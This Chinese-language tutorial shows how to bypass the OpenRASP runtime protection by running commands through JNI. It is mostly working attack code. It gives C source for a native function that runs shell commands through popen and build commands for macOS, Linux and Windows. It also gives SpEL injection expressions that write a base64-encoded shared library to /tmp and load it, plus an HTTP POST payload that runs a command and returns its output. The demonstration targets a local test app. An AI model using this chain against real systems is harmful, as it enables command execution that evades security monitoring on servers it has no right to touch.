在学习RASP的时候,其中有一种绕过RASP的方法是,使用JNI,让Java调用底层C语言,从而绕过危险函数的Hook检查

JNI概述

JNI(Java Native Interface),其作用是让Java程序可以去调用C语言的程序,Java的实现是基于C语言实现的,在很多底层方法中,我们也经常能看到一些native关键字
JNI 绕过RASP

JNI实现

在Java中,如果想要调用C程序,我们可以分为以下几步

  1. 首先定义一个native修饰的方法
  2. 使用javac将目标文件编译成class文件,并生成.h头文件
  3. 使用c/c++编写native方法的底层实现
  4. 使用gcc将c文件编成当前系统的动态库(.so / .dylib / .dll)
  5. 编写Java程序,使用System.load/loadLibrary()加载Java的native方法

接下来进行实践一下
首先定义一个native方法

1
2
3
4
5
package com.sean;  

public class Calculator {
public static native String execCmd(String cmd);
}

使用javac编译.java文件,同时生成了.h的头文件(jdk8及以上支持)

1
javac -d target/classes -h src/com.sean.Calculator src/main/java/com/sean/Calculator.java 

若jdk版本较低,则需要分开两步进行

1
2
javac -d target/classes src/main/java/com/sean/Calculator.java
javah -jni -d src/com.sean.Calculator -cp target/classes com.sean.Calculator

生成头文件后,我们就需要进行编写目标函数的c语言实现代码了,这里我直接用AI生成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <errno.h>  
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "com_sean_Calculator.h"

#define CHUNK 4096

static char *capture_output(FILE *fp)
{
size_t cap = CHUNK;
size_t len = 0;
char *buf = (char *)malloc(cap);
if (!buf) {
return NULL;
}

for (;;) {
if (len + CHUNK + 1 > cap) {
size_t ncap = cap * 2;
char *nbuf = (char *)realloc(buf, ncap);
if (!nbuf) {
free(buf);
return NULL;
}
buf = nbuf;
cap = ncap;
}
size_t n = fread(buf + len, 1, CHUNK, fp);
len += n;
if (n < (size_t)CHUNK) {
break;
}
}
buf[len] = '\0';
return buf;
}

JNIEXPORT jstring JNICALL
Java_com_sean_Calculator_execCmd(JNIEnv *env, jclass clazz, jstring jcmd)
{
(void)clazz;

if (jcmd == NULL) {
return (*env)->NewStringUTF(env, "[err] cmd is null");
}

const char *cmd = (*env)->GetStringUTFChars(env, jcmd, NULL);
if (cmd == NULL) {
return (*env)->NewStringUTF(env, "[err] GetStringUTFChars failed");
}

/* popen 走 /bin/sh -c,附加 2>&1 把 stderr 一并带回 Java */ size_t cmd_len = strlen(cmd);
char *full = (char *)malloc(cmd_len + 6);
if (!full) {
(*env)->ReleaseStringUTFChars(env, jcmd, cmd);
return (*env)->NewStringUTF(env, "[err] malloc failed");
}
memcpy(full, cmd, cmd_len);
memcpy(full + cmd_len, " 2>&1", 6);

FILE *fp = popen(full, "r");
free(full);
(*env)->ReleaseStringUTFChars(env, jcmd, cmd);

if (!fp) {
char err[128];
snprintf(err, sizeof(err), "[err] popen: %s", strerror(errno));
return (*env)->NewStringUTF(env, err);
}

char *out = capture_output(fp);
int status = pclose(fp);
if (!out) {
return (*env)->NewStringUTF(env, "[err] read output failed");
}

/* 失败时在输出末尾带上 sh 退出码,stdout 本身仍保留 */ if (status != 0) {
size_t n = strlen(out);
char suffix[64];
int slen = snprintf(suffix, sizeof(suffix), "\n[exit=%d]", status);
char *with_rc = (char *)realloc(out, n + (size_t)slen + 1);
if (with_rc) {
memcpy(with_rc + n, suffix, (size_t)slen + 1);
out = with_rc;
}
}

jstring result = (*env)->NewStringUTF(env, out);
free(out);
return result;
}

根据系统的架构,分别用不同的命令进行c文件的编译,生成系统的动态库

1
2
3
4
5
6
//macos
gcc -fPIC -arch x86_64 -I "$JAVA_HOME/include" -I "$JAVA_HOME/include/darwin" -shared -o ./src/com.sean.Calculator/libcalculator.dylib ./src/com.sean.Calculator/Calculator.c
//linux
gcc -fPIC -I "$JAVA_HOME/include" -I "$JAVA_HOME/include/linux" -shared -o ./src/com.sean.Calculator/libcalculator.so ./src/com.sean.Calculator/Calculator.c
//windows
gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o .\src\com.sean.Calculator\calculator.dll .\src\com.sean.Calculator\Calculator.c

最后只需要使用System.load()方法进行加载目标动态库,然后进行函数的调用即可

1
2
3
4
5
6
7
8
9
10
11
12
package com.sean;  

public class Main {
static {
String path = new java.io.File("src/com.sean.Calculator/libcalculator.dylib").getAbsolutePath();
System.load(path);
}

public static void main(String[] args) {
System.out.print(Calculator.execCmd("open -a Calculator"));
}
}

JNI 绕过RASP

RASP绕过

这里使用百度开源的RASP来进行测试:https://github.com/baidu/openrasp
直接的Runtime().getRuntime.exec()会被RASP拦截
JNI 绕过RASP
声明一个native方法后,创建该方法的c语言代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHUNK 4096

static char *capture(const char *cmd, size_t *out_len)
{
FILE *fp = popen(cmd, "r");
if (!fp) {
char *err = (char *)malloc(64);
if (!err) {
return NULL;
}
int n = snprintf(err, 64, "[popen failed] %s", cmd);
if (out_len) {
*out_len = n > 0 ? (size_t)n : 0;
}
return err;
}

size_t cap = CHUNK;
size_t len = 0;
char *buf = (char *)malloc(cap);
if (!buf) {
pclose(fp);
return NULL;
}

for (;;) {
if (len + CHUNK + 1 > cap) {
size_t ncap = cap * 2;
char *nbuf = (char *)realloc(buf, ncap);
if (!nbuf) {
free(buf);
pclose(fp);
return NULL;
}
buf = nbuf;
cap = ncap;
}
size_t n = fread(buf + len, 1, CHUNK, fp);
len += n;
if (n < (size_t)CHUNK) {
break;
}
}
buf[len] = '\0';
pclose(fp);
if (out_len) {
*out_len = len;
}
return buf;
}

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved)
{
(void)vm;
(void)reserved;
return JNI_VERSION_1_8;
}

JNIEXPORT jobject JNICALL Java_com_sean_Cmd_execCmd(
JNIEnv *env, jclass cls, jstring jcmd)
{
(void)cls;
if (!jcmd) {
return NULL;
}

const char *cmd = (*env)->GetStringUTFChars(env, jcmd, NULL);
if (!cmd) {
return NULL;
}

size_t len = 0;
char *out = capture(cmd, &len);
(*env)->ReleaseStringUTFChars(env, jcmd, cmd);
if (!out) {
return NULL;
}

jbyteArray arr = (*env)->NewByteArray(env, (jsize)len);
if (!arr) {
free(out);
return NULL;
}
(*env)->SetByteArrayRegion(env, arr, 0, (jsize)len, (const jbyte *)out);
free(out);

jclass bais = (*env)->FindClass(env, "java/io/ByteArrayInputStream");
jmethodID ctor = (*env)->GetMethodID(env, bais, "<init>", "([B)V");
if (!ctor) {
return NULL;
}
return (*env)->NewObject(env, bais, ctor, arr);
}

上述c代码类比与java代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.sean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.IOException;

public class Cmd {

public static InputStream execCmd(String cmd) throws IOException {
if (cmd == null) {
return null;
}

Process p = new ProcessBuilder("/bin/sh", "-c", cmd)
.redirectErrorStream(true)
.start();

ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
try (InputStream in = p.getInputStream()) {
int n;
while ((n = in.read(buf)) > 0) {
bos.write(buf, 0, n);
}
}

return new ByteArrayInputStream(bos.toByteArray());
}
}

我们将c语言编译成目标系统的动态库,使用如下表达式,将动态库文件写入目标系统的tmp目录下

1
T(java.nio.file.Files).write(T(java.nio.file.Paths).get('/tmp/libcmd_spel.so'),T(java.util.Base64).getDecoder().decode('<ELF-BASE64>'))

然后使用load方法进行动态库的加载

1
T(java.lang.System).load('/tmp/libcmd_spel.so')

最后调用目标类的恶意方法,就可以用JNI来进行RASP的绕过,这里达到了一个命令回显的效果

1
2
3
4
5
6
7
POST /spel/index.jsp HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Connection: close

spel={{urlenc(new java.util.Scanner(T(com.sean.Cmd).execCmd('ip addr | grep inet')).useDelimiter('\A').next())}}

JNI 绕过RASP